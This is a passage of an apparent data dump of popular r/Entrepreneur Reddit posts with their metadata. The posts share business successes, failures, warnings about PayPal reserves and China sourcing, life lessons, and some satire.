as well as it did if I didn't make that choice. I also felt, like, incredibly happy considering how much bullshit I was dealing with as a never-ending stream of problems and tasked continue to pile on. The subconscious reward structures I'd built for myself (alcohol to celebrate, to relax, to end the week, etc) weren't really apparent until I stopped drinking. Same went for the escapist tendencies (alcohol to forget problems, mitigate anxiety), I didn't realize how much of a crutch alcohol was until I cut it out for an extended period of time. Some people don't have crutches at all, some people have different ones like weed, porn, video games, etc. If you have something that you go to when things get really hard, try cutting it out for a few weeks. You'll be surprised at how much more you can handle than you thought, even without your crutch. Heineken 0% feels 90% as good and has none of the downsides, highly recommend. **Run towards whatever scares you the most** Almost every single ""win"" from last year stemmed from doing something that scared the shit out of me. Over-communicating with customers when their orders were delayed by MONTHS. Calling customers personally when they were pissed off and letting them yell at me. Reaching out to people who I deemed to be out of my weight class (celebrities, big retailers, etc) and pitching our product. Putting out content that I'd made myself (that I was starring in) on the company socials. This stuff all scared the shit out of me and I wanted nothing more than to NOT do any of it - ""just bury yourself in the Shopify dashboard, you don't need to do any of that"" is what I told myself. Every single time that I put my head down and ran towards the thing that scared me the most, I was paid back 10 times over. Customers went from angry to understanding. Big collaborators featured us at no-cost and skyrocketed our growth. Videos went viral, etc. Good things happened that I never would've imagined. If it scares the shit out of you, run towards it. That's it - I have no idea what the future will bring, but these are the learnings that have stood out to me the most thus far. Wishing everyone a prosperous 2023",littlesauz,2094,389,1674856655,/r/Entrepreneur/comments/10mxbuk/made_200k_last_year_while_still_in_college/,https://www.reddit.com/r/Entrepreneur/comments/10mxbuk/made_200k_last_year_while_still_in_college/,self.Entrepreneur,True,,,,, 3jcur8,Entrepreneur,How I Built a $17K Monthly Recurring Revenue Business - 1 Year Ago I was a Complete Noob.,[deleted],[deleted],2059,534,1441201446,/r/Entrepreneur/comments/3jcur8/how_i_built_a_17k_monthly_recurring_revenue/,https://www.reddit.com/r/Entrepreneur/comments/3jcur8/how_i_built_a_17k_monthly_recurring_revenue/,self.Entrepreneur,True,,,,, ayzlqu,Entrepreneur,I lost nearly $8000 selling on Amazon FBA,"With all the success stories, I wonder if people would appreciate hearing about a sheer unadulterated failure of a business. In 2017, I started my first business, selling with Amazon FBA. I followed every guru gimmic in the book. I sourced a niche product from China. but the niche became so saturated I ended up selling my product for next to nothing and giving away much of my inventory in the hopes of reviews/better ranking. Here is a breakdown of the money I lost: $4000 on inventory (500 unit order) $1000 for Freight Forwarder (Ocean freight) $1400 on pay per click ads (got out of hand really fast) Another $1000 between professional photography and artwork/branding design $500 misc. (FBA subscription, barcode registration, product samples, etc.) I learned a lot for sure. My main takeaway was not to follow a cookie-cutter scheme that promises a guarenteed revenue stream after following 5 easy steps. Amazon FBA is not passive income, it's a full time job, one I had nowhere near the time for. If everyone is doing something, it may not be the best idea. Don't run off the cliff with the lemmings. As much of a gut punch this experience has been, I have tried to learn from it, and have a better idea of what not to do in future ventures. ",awesomedan24,2055,391,1552105566,/r/Entrepreneur/comments/ayzlqu/i_lost_nearly_8000_selling_on_amazon_fba/,https://www.reddit.com/r/Entrepreneur/comments/ayzlqu/i_lost_nearly_8000_selling_on_amazon_fba/,self.Entrepreneur,True,,,,, l3f00f,Entrepreneur,"I just wanted to say that my 60 year old dad now delivers food in his car because 2 of his business partners, who were also his lifelong friends, stole a total of 500k from the business and ran away. Just wanted to remind you be careful of the people you work with.","He now hates himself for trusting them and never wants to do business again after doing it his whole life. Edit: Thank you for these kind comments, awards, and helpful advice. I will definitely read these to him when I see him next week.",MyLifelsALie,2035,319,1611418663,/r/Entrepreneur/comments/l3f00f/i_just_wanted_to_say_that_my_60_year_old_dad_now/,https://www.reddit.com/r/Entrepreneur/comments/l3f00f/i_just_wanted_to_say_that_my_60_year_old_dad_now/,self.Entrepreneur,True,,,,, 1hfrw6w,Entrepreneur,How I became multi-millionaire at 23 with no skills,[removed],[deleted],2013,170,1734378947,/r/Entrepreneur/comments/1hfrw6w/how_i_became_multimillionaire_at_23_with_no_skills/,,,True,,,,, 11g89oq,Entrepreneur,Made my first fu*king Sale 🔥,"It's not selling a digital product worth thousands of dollars or millions. It's my E-book worth [$4.99](https://postimg.cc/7bzLy7ns). Not yet a millionaire, but I'm fking happy.",strange4real,1999,280,1677777531,/r/Entrepreneur/comments/11g89oq/made_my_first_fuking_sale/,https://www.reddit.com/r/Entrepreneur/comments/11g89oq/made_my_first_fuking_sale/,self.Entrepreneur,True,,,,, 6nn8w9,Entrepreneur,PSA: PayPal will seize your money even after 9 years of business,"I really think this should be a sticky. I've just had my entire PayPal balance held as a ""minimum reserve"", i.e., indefinitely, as well having a 15% 90-day rolling reserve added to anything new coming in. This, after NINE uneventful years of using PayPal, under the assumption that their higher-than-normal fees are in compensation for the greater risk they bear with respect to fraud, international transactions, etc. This is not just an issue for startups and high-risk business! We've had zero cases of fraud in 9 years, and one accidental chargeback some 5 years ago. For those who don't know what a reserve is, basically, PayPal takes your money and doesn't release it until 180 days after you close your account. No interest, no warning, no explanation, good luck paying subcontractors in that time. I've already removed them from my cart and invoicing system (switching to Stripe for now), but since this potential business risk isn't written in big bold letters on their website, then I really think it should be up here. It's hard to take the fee comparison charts seriously when this operating risk isn't included in the list of ""features"": - We offer a somewhat competitive 3.9% on transactions, and - Maybe all of your money, if we feel like it, without warning, on a day of our choosing. Yay. Edit: This is apparently a post people identify with. I'm totally serious about making something like this sticky. In terms of the potential operating risks faced by online startups, I really can't think of anything more universally applicable. It's an existential threat for those who are just starting, and don't have the benefit of having monitored the forum for several months. Edit 2: To forestall some further PayPal hatred, I want to make it clear that I marvel at the world that they've created. They've enabled relationships between vendors across the globe that would otherwise have been impossible. However, if you were to poll a random sampling of their merchants, I very much doubt that even 1% could identify sudden, unannounced, seizures of previously-released funds as within the realm of PayPal's general operating procedure. Most of us think that PayPal implements risk mitigation on a per-transaction basis. So, that's why the PSA, so that it doesn't come as a surprise. I will continue to use PayPal for paying vendors, but I know some clients who I have to call at exactly 9 am to let them know of the risk and advise them to either pull out their funds or deposit an additional cushion -- once PayPal tells me what that cushion has to be. ",piezzocatto,1964,517,1500224465,/r/Entrepreneur/comments/6nn8w9/psa_paypal_will_seize_your_money_even_after_9/,https://www.reddit.com/r/Entrepreneur/comments/6nn8w9/psa_paypal_will_seize_your_money_even_after_9/,self.Entrepreneur,True,,,,, xdmvyk,Entrepreneur,I lost $140k importing from China. Learn from my dumb mistake.,"A Chinese supplier screwed me for $216k and I had to sue them. This may be worth a quick read if you source from China. My company imports and sells Bitcoin miners from China. Last December I placed an 18 miner order @ $12k each from a supplier I had used successfully a couple of times before. \~$216k total Someone mistakenly under declared their values on the customs forms. They said they were worth $100 each and this got flagged. We did not ask them to do this. The miners got confiscated by customs. I have no way of knowing if either party is lying or just incompetent. The forwarding agent and the supplier blamed each other and both refused to take responsibility. Meanwhile I was short 18 miners and my customer was getting pissed. I had to reorder them all from a different supplier. The supplier kept promising to send them but never followed through. Luckily I have a pretty good network over there. I hired a great lawyer in Shenzhen I had used in the past with success. Meanwhile, as crypto tanked in 2022, the value of these miners tanked - from $12k down to under $4k. We were pressing charges with the lawyer for the full, original value of the miners + interest. Pressing charges in China is as intimidating as you may expect. The lawyer said that in China, once you bring charges, if you've filed everything correctly and brought enough evidence, the government will automatically freeze the assets of the company. This makes a quick settlement very likely, in most cases. But the risk of the company opening a new bank account to dodge the law is always real. Luckily this was a fairly big company and the chances of them doing this were small. I had to fill out a crap ton of paperwork just to bring charges. Hundreds of screenshots to authenticate. I hired another 3rd party company to authenticate these documents with the Chinese embassy. I was paying this 3rd party thousands and my lawyer $320/hour (not bad compared to the US). It was very expensive. In the end, we decided to settle and not go through with pressing charges. I was done with the distraction. The supplier sent me $55k + 9 miners at today's value, bringing my total losses to \~$140k after legal fees. To me it was worth settling to not have the uncertainty of bringing charges in a foreign land. I would highly suggest you dictate to your suppliers how they declare your goods, and don't just trust them to do it correctly. This was my mistake. I could and should have used a 3rd party agency to better take care of things, and I do now. I hope someone can learn from this! 99/100 times you won't have issues, but that 1 time burns, bad. BTW if you ever find yourself in need of legal counsel in China feel free to DM me for my recommendation. My lawyer was top notch. I hope this helps someone avoid something similar. Working with China is unavoidable in many industries, unfortunately. EDIT: This is blowing up. Thank you for all of the kind words and responses. Luckily we are still in business despite the crypto bear market. Our site is [MiningSyndicate.com](https://MiningSyndicate.com). If you ever need hosting or miners, you can reach out on the site or via sales@Miningsyndicate.com. We also developed our own software that enables you to buy 1% of a miner for $51.",ketomagyar,1950,262,1663113917,/r/Entrepreneur/comments/xdmvyk/i_lost_140k_importing_from_china_learn_from_my/,https://www.reddit.com/r/Entrepreneur/comments/xdmvyk/i_lost_140k_importing_from_china_learn_from_my/,self.Entrepreneur,True,,,,, 349uat,Entrepreneur,Elon Musk’s first wife explains what it takes to become a billionaire,"I found Justine Musk's comments to be spot on. ""Justine Musk, first wife of billionaire Elon Musk, knows a thing or two about wealth and hard work — her ex-husband is a founder of PayPal, CEO of Tesla and SpaceX, and has an estimated net worth of $12.1 billion. She recently posted a response to a Quora thread asking the question “Will I become a billionaire if I am determined to be one and put in all the necessary work required?” Her answer is “no,” though she says that the Quora reader is asking the wrong question altogether. “You’re determined. So what? You haven’t been racing naked through shark-infested waters yet,” she writes. “Will you be just as determined when you wash up on some deserted island, disoriented and bloody and ragged and beaten and staring into the horizon with no sign of rescue?” She then offers some advice: “Shift your focus away from what you want (a billion dollars) and get deeply, intensely curious about what the world wants and needs. Ask yourself what you have the potential to offer that is so unique and compelling and helpful that no computer could replace you, no one could outsource you, no one could steal your product and make it better and then club you into oblivion (not literally). Then develop that potential. Choose one thing and become a master of it. Choose a second thing and become a master of that. When you become a master of two worlds (say, engineering and business), you can bring them together in a way that will a) introduce hot ideas to each other, so they can have idea sex and make idea babies that no one has seen before and b) create a competitive advantage because you can move between worlds, speak both languages, connect the tribes, mash the elements to spark fresh creative insight until you wake up with the epiphany that changes your life. The world doesn’t throw a billion dollars at a person because the person wants it or works so hard they feel they deserve it. (The world does not care what you want or deserve.) The world gives you money in exchange for something it perceives to be of equal or greater value: something that transforms an aspect of the culture, reworks a familiar story or introduces a new one, alters the way people think about the category and make use of it in daily life. There is no roadmap, no blueprint for this; a lot of people will give you a lot of advice, and most of it will be bad, and a lot of it will be good and sound but you’ll have to figure out how it doesn’t apply to you because you’re coming from an unexpected angle. And you’ll be doing it alone, until you develop the charisma and credibility to attract the talent you need to come with you. Have courage. (You will need it.) And good luck. (You’ll need that too.)” ",Tbor10,1945,300,1430313505,/r/Entrepreneur/comments/349uat/elon_musks_first_wife_explains_what_it_takes_to/,http://www.reddit.com/r/Entrepreneur/comments/349uat/elon_musks_first_wife_explains_what_it_takes_to/,self.Entrepreneur,True,,,,, xyy962,Entrepreneur,8 Lessons people learn too late in life,"1. Important people come and go, and that's okay. Unfortunately, the most important people in your life can become strangers overnight. Fortunately, total strangers can become the most important people in your life overnight. This process hurts, but if accepted, it serves to improve the quality and suitability of the people in your life. 2. Your diet isn't just what you eat. As you get older you realize that your diet isn't just what you eat, it's what you watch, what you read, who you follow, and who you spend your time with. So if your goal is to have a healthier mind, you have to start by removing all the junk from your diet. 3. You have to let people down to be happy. You and your mental health are more important than your career, more money, other people's opinions, that event you said you would attend, your partner's mood, and your family's wishes. If taking care of yourself means letting someone down, then let someone down. Your self-love must always be stronger than your desire to be loved by others. 4. Never let rejection lead to self-rejection. A person who has experienced rejection fears rejection and a person that fears rejection tends to push or run away before they can be rejected. In their subconscious mind, they have avoided rejection. In reality, they've been rejected again this time by themselves. 5. Own your responsibilities, own your future. You're not responsible for your trauma but you are responsible for breaking the cycle and not hurting more people because of what happened to you. You will never control your future if you let your present be controlled by your past. What happened yesterday may not be your responsibility, but how you behave today is. 6. Quality over quantity. Life is about quality, not quantity. One quality friend gives you more than 100 acquaintances. One quality relationship gives you more than 100 flings. One quality experience gives you more than 100 drunken nights. 7. Fairytales will make you unhappy. Obsessing over the things that society said you're ""supposed to do"" will kill your happiness. Don't listen to the fake fairytales of how your life is supposed to be going. You don't have to go to university at 18, get a job at 21, buy a house at 25, get married at 30, or have kids at 35. Everyone is different, and your path to happiness will be too. 8. Fun is yours. If you want to enjoy your life, don't subscribe to other people's definition of ""fun"". The fun doesn't have to mean drinking, partying, and socializing Fun can be a night alone, getting lost in a book, a deep conversation, a walk, creating art, playing music, or doing work that you love. Your fun belongs to you, make sure you define it.",Beautiful-Leave6May,1944,141,1665249652,/r/Entrepreneur/comments/xyy962/8_lessons_people_learn_too_late_in_life/,https://www.reddit.com/r/Entrepreneur/comments/xyy962/8_lessons_people_learn_too_late_in_life/,self.Entrepreneur,True,,,,, 8g8j52,Entrepreneur,Any developers want to make my app for 5% equity?,"Okay, listen up peasants because this is going to be BIG! I need developers to build my new app on android and ios. You won't be paid upfront because I don't have any money. However, if you're willing to think long-term you can become a millionaire because I'll give you 5% equity in the business. So what's the app? Tinder for dogs! Dog owners can help their pet's find mating partners. Simply swipe left to dismiss, or swipe right to sniff the other dog's ass. If both dogs sniff each other's asses, it's a match! **FAQ's** **How will the app make money?** What are you, a fucking amateur? It doesn't need to make money. We're going to IPO this bitch so that's someone else's problem. **Where is the job located?** At present, you can work remotely because my mom won't allow strangers in the house. **What will /u/akpaddy be doing?** I'm the CEO. I will be doing the blue-sky thinking and managing you to make sure you meet my tight deadlines. **How will the app get users?** I will speak to a few of my friends who have dogs. After that, we will grow by word of mouth because the app is a awesome. I expect Shark Tank will reach out quite soon. After that, it's pretty much yacht money baby. Please only apply if you've worked for a company I've heard of like Apple, Facebook or Google. If you have knowledge of how to sell user's information for profit, you may also contact me. **Warning: don't rip my idea off or my team of lawyers will hunt your ass down.**",akpaddy,1935,360,1525182104,/r/Entrepreneur/comments/8g8j52/any_developers_want_to_make_my_app_for_5_equity/,https://www.reddit.com/r/Entrepreneur/comments/8g8j52/any_developers_want_to_make_my_app_for_5_equity/,self.Entrepreneur,True,,,,, 6i06gw,Entrepreneur,"Shipping ""hacks"" with UPS","Most of the packages I send on a daily basis are large and heavy, so UPS is always been my cheapest option. Shipping is always my biggest expense, usually running about 40-50% of the total cost of my products (I offer free shipping). I'm constantly looking for ways to reduce my cost and thought I would share what I've learned so far. 1. When you're just starting out, sign up for eBay and apply the eBay discount to your UPS account. When you have no volume to speak of, it's an easy way to score 17-20% off retail prices. 2. UPS gives you an unlimited supply of shipping labels. Easiest way to print labels, especially when you're new, is to use their 8 1/2 x 11 labels. They come two per sheet and fit in a standard printer. 3. If you have a UPS driver who drops off regularly at your day job, they will gladly take any and all packages you have to ship out. I always bring my daily shipments to work with me and give them to our driver. Saves time when the alternative is to drive all the way to a UPS store or pay extra to schedule a pick up. 4. UPS leases Thermal Image Printers for $3 a week. A good new one is $450 or more. This is a very nice and cheap alternative. 5. You get free UPS smart pick up for a year when you first sign up. I don't use this yet, as I have a day job and am not able to have a guy come pick up everyday, but if you are able to it is a huge time saver. 6. When you get some volume, call UPS and ask to be assigned an account rep. I'm not huge, shipping maybe 60-80 packages a month which equals about $1300 in monthly spending with them. I just got assigned an account rep and, after discussing plans for growth and having a very informative discussion with my rep, got my shipping dropped by 20% AND got my residential surcharge fees cut in half. That is going to save me about $300 and month or more going forward. That's all I have for now. I've been doing this for just over a year now could never find any good guides or hacks for shipping in one place. Thought I would share what I've come across so far. Thanks!",Work_high_earn_high,1934,145,1497799370,/r/Entrepreneur/comments/6i06gw/shipping_hacks_with_ups/,https://www.reddit.com/r/Entrepreneur/comments/6i06gw/shipping_hacks_with_ups/,self.Entrepreneur,True,,,,, w30e2l,Entrepreneur,My 8 year old daughter started a business on Friday with 1k in revenue this weekend.,"My daughter has been begging me to help her set up a lemonade stand as she saw some older kids across the street try one for a few days. She is very insistent on pushing me to help her. As hot as it has been in my state I felt like it was a perfect time to try an idea I've had in the back of my head. Lets take a really simple concept and add a slightly different twist to it. A frozen drink / Lemonade stand because its hot. Also who doesn't like frozen drinks? I have access to many frozen drink machines so I brought one home and put it on a cart with wheels. I literally put this machines, a folding table and a beach tent over her for shade. **The Supply Chain** I found a supplier that will sell me 40 flavors of drink mix for 1 penny per fluid ounce when reconstituted with water. I work in logistics so I was able to get the price down to the bare minimum. I'm going to take this as serious as my own business. We are going to fight tooth and nail to get this down to a science. (Contracted with a co-packer and their inhouse formulas, Bought enough to fill out a pallet, shipped to a warehouse with a dock to avoid a liftgate fee and loaded my van to store in my garage.) Costs were this - $23 per case of concentrate x 60 cases for a pallet. $150 for shipping. =$1,530 in concentrate costs. Selling a cup at $2 per cup we have $19,000 worth of product at that price point. Machine was free but you can get a good used one for 1,200-1,500 per machine. Cups were 14.49 for a 250 pack of red cups. $43.47 total for 3 bags. **Marketing** 3 hand drawn signs that were taped on to some abandoned yard signs from a roofing company. My daughter colored a bright and aesthetically pleasing sign advertising frozen drinks just down the block from a very busy street in a major city. There was no way to get lost. **Breakdown of Sales** Pricing was $2 per cup. She had lemonade and non-alcoholic margarita for flavors to start. Cup size was 16 oz so people felt like they were getting a good deal. **The Chaos** From Friday-Sunday she sold 512 cups of frozen drinks sitting in my driveway. For a total of **$1024** in revenue. Word spread quick and she had a line most of the weekend. Once the parents figured out they could add their own alcohol to the mix she was flooded with parents and their kids. We saw many repeat customers. The heat drove people in and we had issues with keeping the machine full and product frozen as it struggled to keep up with demand. I ended up making batches and putting them in my freezer to get them cold before refilling the machine. **The joy.** Watching my daughter count out over 1k in cash was amazing. She was begging me to quit summer camp so she can work the stand everyday. I am so proud of her and watching her confidence grow. She was already asking me if I could get her a second machine but I told her to see how next weekend goes. I am going to limit her to running this only on the weekends. I don't want to burn her out and as I have learned you need to have balance. I've been an Entrepreneur for 11 years now. I wanted to share my thought process and show how easy it is to get in the game even as an 8 year old girl. It also gave me a much needed dopamine spike to find passion in building something from nothing. The trick is being smart and seasoned enough to avoid the pain and stress of bad decisions and a poorly developed model. I am very good at buying and getting my prices down to the bare minimum. We started with a 91.7% profit margin on our drinks. So she is keeping most of what she sells. If my daughter can do it so can you. Plus it was really fun spinning a simple concept into a ""serious venture"" Daughter is now the richest 8 yr old on the block.",NottaGoon,1912,796,1658256951,/r/Entrepreneur/comments/w30e2l/my_8_year_old_daughter_started_a_business_on/,https://www.reddit.com/r/Entrepreneur/comments/w30e2l/my_8_year_old_daughter_started_a_business_on/,self.Entrepreneur,True,,,,, k0ioyu,Entrepreneur,"I just hit $1,000 in sales this month at 14!","I just hit $1,000 in sales from my woodworking business. I've only been doing this for 3 weeks, and combined with school, it's been difficult. I have been working 20 hours a week along with 35 hours a week of school. But it definitely paid off. I am finally up to $1,155 in sales. I am saving for my college tuition. My parents are paying for the first two years. I expect I'll need around $10k including scholarships. I have $5,000 in my bank account and around $2,000 cash. I'm so close and only have 4 more years to go! This is my first 4 digit month. Just wanted to share. And thank you all for your help along the way.",TheLastSnipperAlt,1909,300,1606268951,/r/Entrepreneur/comments/k0ioyu/i_just_hit_1000_in_sales_this_month_at_14/,https://www.reddit.com/r/Entrepreneur/comments/k0ioyu/i_just_hit_1000_in_sales_this_month_at_14/,self.Entrepreneur,True,,,,, 1kvn9n,Entrepreneur,"4 months ago I quit my job to start a brewery, I've been waiting for this photo...",,jefforr,1886,176,1377185248,/r/Entrepreneur/comments/1kvn9n/4_months_ago_i_quit_my_job_to_start_a_brewery_ive/,http://i.imgur.com/h7gd8Rt.jpg,i.imgur.com,False,,,,, gfl95c,Entrepreneur,"I have released my 2000+ instrumental pieces free under creative commons 3.0 by (Free to use in your videos, podcasts, movies, games or what ever. Just credit me Antti Luode) (If you can not, that is fine too.)","As used in games such as Headliner Novinews. As used by Youtubers such as Kyle Le with 56+ million views and 218k+ subs My Instrumental site (Soundclick): https://www.soundclick.com/bands3/default.cfm?bandID=1277008&content=songs My IMDb (only one credit so far. Others maybe coming): https://www.imdb.com/name/nm10882843/ 2059 Instrumental pieces on Google drive Zipped. (non categorized): https://drive.google.com/drive/folders/18_CBtXX8tJTkIbJ2WsjoZHXNy819UHal?usp=sharing (I hear the google drive download limit was hit?) (I did not know there was one :D) Link to 1790 CATEGORIZED instrumental pieces in a single zip file: https://drive.google.com/open?id=1yCZtjPSKW3ifngIP6zzbc9spXspjatIf My blog where I release the songs and FLstudio project files for them: http://anttismusic.blogspot.fi Youtube channel for my instrumental pieces: https://www.youtube.com/channel/UCVOwcdYEBQFiyGyvWF5VkwQ All instrumental pieces on Google drive: https://drive.google.com/drive/folders/0B1t5awWiDLZhMXBmT0M5Mm1nRG8 Torrent with 1369 instrumentals: https://drive.google.com/file/d/0B1t5awWiDLZhc0hKcjJYVEsySE0/view?usp=sharing Pass it around! You need a bittorrent client to download the instrumentals in the torrent: https://www.qbittorrent.org/",Mrloop,1871,346,1588907376,/r/Entrepreneur/comments/gfl95c/i_have_released_my_2000_instrumental_pieces_free/,https://www.reddit.com/r/Entrepreneur/comments/gfl95c/i_have_released_my_2000_instrumental_pieces_free/,self.Entrepreneur,True,,,,, hyrmfq,Entrepreneur,"Anyone else here not looking to ""get rich quick with passive income"", but rather ""make solid income working for yourself being able to work from anywhere and never answer to a boss ever again"". It doesn't have the same ring but it sounds like a dream.","Everyone wants to be rich working for themselves (or better yet, getting rich off passive income), but if I can work from my computer (aka work anywhere I want) and not have to answer to anyone, and make a solid living, I don't care if I have to grind 80 hours a week to get there and still work 40 hours a week to maintain it, if I can work for myself and make my own hours wherever I want, that's all I care about. Anyone else in the same boat?",[deleted],1858,358,1595854063,/r/Entrepreneur/comments/hyrmfq/anyone_else_here_not_looking_to_get_rich_quick/,https://www.reddit.com/r/Entrepreneur/comments/hyrmfq/anyone_else_here_not_looking_to_get_rich_quick/,self.Entrepreneur,True,,,,, 10gy65e,Entrepreneur,I need to make $1 Million by the end of the week. Any ideas?,"Does anyone moderate this sub anymore? Because every other post is about how to make money. I thought this was a sub for working entrepreneurs not people looking for a quick buck without putting any effort into researching for themselves.",Hoodswigler,1841,590,1674224523,/r/Entrepreneur/comments/10gy65e/i_need_to_make_1_million_by_the_end_of_the_week/,https://www.reddit.com/r/Entrepreneur/comments/10gy65e/i_need_to_make_1_million_by_the_end_of_the_week/,self.Entrepreneur,True,,,,, qa5io3,Entrepreneur,6 Years ago I quit my full time job to start a business. We’ve bootstrapped it to over $50 million/year in revenue and just won Top 25 Fastest Growing in SC for 4th year in a row. AMA!,"We are debt free, 185 employees (trying to hire another 20…), and I started it with less then $1000. We’ve just won Top 25 Fastest Growing Companies in South Carolina for the 4th year in a row, and we are still growing around 30% YoY. We also place on the Inc 5000 every year. We’ve done it the “hard” way — Boot strapping it. We are also going through a bunch of changes. We are figuring out what it means to be a software company, along with transition from the entrepreneur “shoot from the hip” to the professionally managed company that does strategic planning. Both are difficult. I’m here relaxing watching football today, so figured I’d have some time to answer any questions. Our company page is www.DieselLaptops.com, and you can find me on LinkedIn here: https://www.linkedin.com/in/tyler-robertson-diesel",jtr8178,1835,252,1634498126,/r/Entrepreneur/comments/qa5io3/6_years_ago_i_quit_my_full_time_job_to_start_a/,https://www.reddit.com/r/Entrepreneur/comments/qa5io3/6_years_ago_i_quit_my_full_time_job_to_start_a/,self.Entrepreneur,True,,,,, 128lom1,Entrepreneur,"In March, my niche sites made $98,458 💰 Breakdown: - $27,756 affiliate - $32,866 mediavine - $37,836 ecommerce. Here's how I did it 👇",I didn't. I'm just lying. Didn't make a penny. Even if I did it would just be revenue and not profit which is meaningless. Please don't trust or pay attention to most of the people who post these things.,biz_booster,1833,145,1680353878,/r/Entrepreneur/comments/128lom1/in_march_my_niche_sites_made_98458_breakdown/,https://www.reddit.com/r/Entrepreneur/comments/128lom1/in_march_my_niche_sites_made_98458_breakdown/,self.Entrepreneur,True,,,,, qmpgla,Entrepreneur,"Update 4 years later: Started a candle side hustle with $50, about to clear $200,000 this year","Just wanted to drop in and make another update post since the last few seem to be appreciated. I have provided links to the past three posts showing this progress for anyone that want's to check it out. Year one[https://www.reddit.com/r/Entrepreneur/comments/831ilr/i\_started\_a\_candle\_business\_as\_a\_side\_hustle\_with/](https://www.reddit.com/r/Entrepreneur/comments/831ilr/i_started_a_candle_business_as_a_side_hustle_with/) Year two[https://www.reddit.com/r/Entrepreneur/comments/bukou5/update\_last\_year\_my\_side\_hustle\_made\_1000month/](https://www.reddit.com/r/Entrepreneur/comments/bukou5/update_last_year_my_side_hustle_made_1000month/) Year three[https://www.reddit.com/r/Entrepreneur/comments/i4a4yt/3\_year\_update\_started\_a\_candle\_business\_with\_50/](https://www.reddit.com/r/Entrepreneur/comments/i4a4yt/3_year_update_started_a_candle_business_with_50/) &#x200B; I had to briefly scan last years thread to see where I was in the business so I could give every update that's happened since then.Since last year the facebook group (DIY Candle Making Beginner to Advanced) has grown from 52,000 members to 105,000 members.The youtube channel (Standley Handcrafted) grew from 62,000 subscribers to 108,000 and both are still growing strong. And in may of this year I opened my own candle supply company, West Sound Candle Supplies.The facebook group and youtube channel have been incredible for growing the brand and generating sales, but I will say neither one are used specifically for those reasons. The main goal for both is about education first, and of course sales naturally come from them because people watch and search my brand and products used. I will say I have followed u/garyvee advice on this one the entire time and use more of a jab, jab, jab, right hook approach with everything I do except tend to hold back on the right hooks a little too much and end up with twenty jabs before taking the right hook. Not really a fun part of the journey but one that a lot of entrepreneurs deal with, is divorce. I spent the last two years ending a 27 year marriage and finally signed papers this year. The main reason I bring this one up is because a lot of people would throw in the towel on their dreams and say what's the point in continuing. I initially started this side hustle to bring in extra money for our family and got pushback from my ex. She constantly told me how ""weird"" it was for ""a guy to be making candles"", it would never go anywhere, and it was a stupid idea that would never work. So, me trying to calm the storm, I always held back and slowed my own growth. I kept a balance of keeping peace at home while building the candle business in the background without disrupting that fragile balance.During that long two years I of course moved on with my business and started to attack it much harder than I had in the previous years. I also ended up meeting someone who was unbelievably supportive and really helped me grow it further. Now the fun part.Since last year I had someone reach out to me and redesign my website which was a huge help. I could not keep up with everything even if I knew how to do it all myself. I had to give up some control and hand it over to someone else who was more talented than I was. This also have me more time to focus on actually making candles and videos. I wish I would of done this sooner.I started to ramp up the online candles classes a little and get one scheduled at least once every 2-3 months out which was a hit. I open each class with 25 seats and almost every class was full.I will also say that I did not ever hold back or take away my free content to transition it to paid classes. People can still get everything I teach in these classes for free on youtube, the group, and my website.The classes are meant to take all that information and condense it into a quick one stop place to get all that info in 3-4 hours. I think this has been important for my growth as well. For those that cannot afford the ticket price, they can watch videos and read articles at their own pace. The youtube channel is still doing really well but took a bigger slump in the first quarter of the year than I expected. Views normally go down around this time but with the addition of more candle making channels to the space I don't think my channel is featured in the algorithm as much as it was previous. Which makes perfect sense with more competition out there now. Last year the channel made just over $32,000 and this year was on track to make around $45-$50K. With the slow down in views I knew it would drop a little from the $50,000 target. Along with that I have opened my supply business which is taking time and I have missed quite a few videos the past 2-3 months which has also hit monthly ad sense. I am still on track to make just over $32,000 again which in my mind is still beyond amazing. The candles are still doing really well but have slowed down with everything else going on. Markets still not going so I kept everything to online sales and started the year strong with candle sales, e-book sales, and candle classes but have since slowed that a little with the opening of the candle supply website. This is another area that has slowed down since the launch of the candle supply site, but even with that slow down the candle website is still making around $4000 a month. With the holidays being the busiest season for candles I expect to end the year with around $50,000 in sales from the candle site alone. The facebook group is still going strong and a huge help to people wanting to make candles and also a big driver in sales to not only my candles and e-books but now my candle supply company. I still keep the group a place to learn and not a place to straight sell. I still operate on the jab jab jab right hook philosophy in keeping it about helping and then the occasional post about my supplies for those interested.Not only myself but there are numerous people who benefit from the group, makers, to suppliers to designers, we try to keep the group a nice environment for all involved which is why I created the group in the first place. Some of the groups before hand had very negative culture which made it very intimidating for new candles makes trying to learn. I think this approach alone is why my group has so successful, we try to maintain the safe and helpful environment to new as well as advanced. I can't even begin to calculate how many sales are driven by the group but its around 30-40% of traffic coming from facebook in general. The candle supply company kind of came out of nowhere fast and really just made sense. With so many people coming to me asking what wax to use and who sells it, where can I get this and that, I finally wanted to say you can get them from me. Its always been in the back of my mind but I kept the idea growing slowly until around May. I have been talking with a larger candle supply company wanting to get into the U.S. market and they wanted to go through me to break into the market. After more than a year of talking back and forth about candles and ultimately building that friendship. They ended up sending me a large shipment of wicks and I created a website and started selling the stock they sent me. The wick order they sent me was about $4000 and I quickly paid that off as I sold them. I didn't go find investors, no one helped out other than the wicks they sent and I didn't take any loans to launch this. The only reason I say this is when I read stories like this it always takes a turn for me when someone says ""and with a loan, or a gift from my Dad of $200,000 dollars I was able to make this all happen."" Which is always a little defeating to hear. I wanted to make this relatable to people like me who don't have those opportunities coming to them. Now having said that I did have someone give me $4000 in wicks. But, it really wasn't given at no cost to me. I spent the last four years building a brand that was just as valuable to them as them sending me the wicks to get started working with each other. Once those wicks sold I took all that money, paid the invoice, ordered more wicks and took that profit to order $2000 my first eight fragrance oils. Once those eight fragrance oils sold for $4000, I took the profit from those and ordered eight more fragrance oils. I kept that going and currently have twenty six to choose from with another eight on the way. I also ordered two more types of wicks to put on the site and currently looking for more supplies to add all the time. I also paid someone to develop the candle site from the start, no way I was going to try and do that myself again. I hired the couple who created my candle website. This has not been easy at all and I am making mistakes and learning from them every day. Once the wicks sold they shipped me candle was melters and I began pre orders on those which turned out to be a mistake. The over seas suppliers were giving me an arrival date of the end of July, beginning of August so I started to take on pre preorders at the end of June. Of course customs issues started to really ramp up since talking about the melters and what was the first of August quickly turned into another two weeks, then another week, and another week, and finally received the melters the first week of October. I of course kept everyone in the loop who ordered one but having to tell people its going to be delayed week by week for over a month was not fun. I would not do pre orders again unless I had concrete dates of arrival. Lesson learned for sure.Shipping times have also killed me and something I am working my ass off to improve. I am still doing all of this by myself for the most part. I get some help from my son and friends here and there but I am putting everything together pretty much myself and trying to keep up. This is why I am trying to hire someone ASAP. I need help and can't keep up with orders which of course turns into delayed delivery times which sucks. I take full responsibility on this one, it turned out to be busier than even I expected. 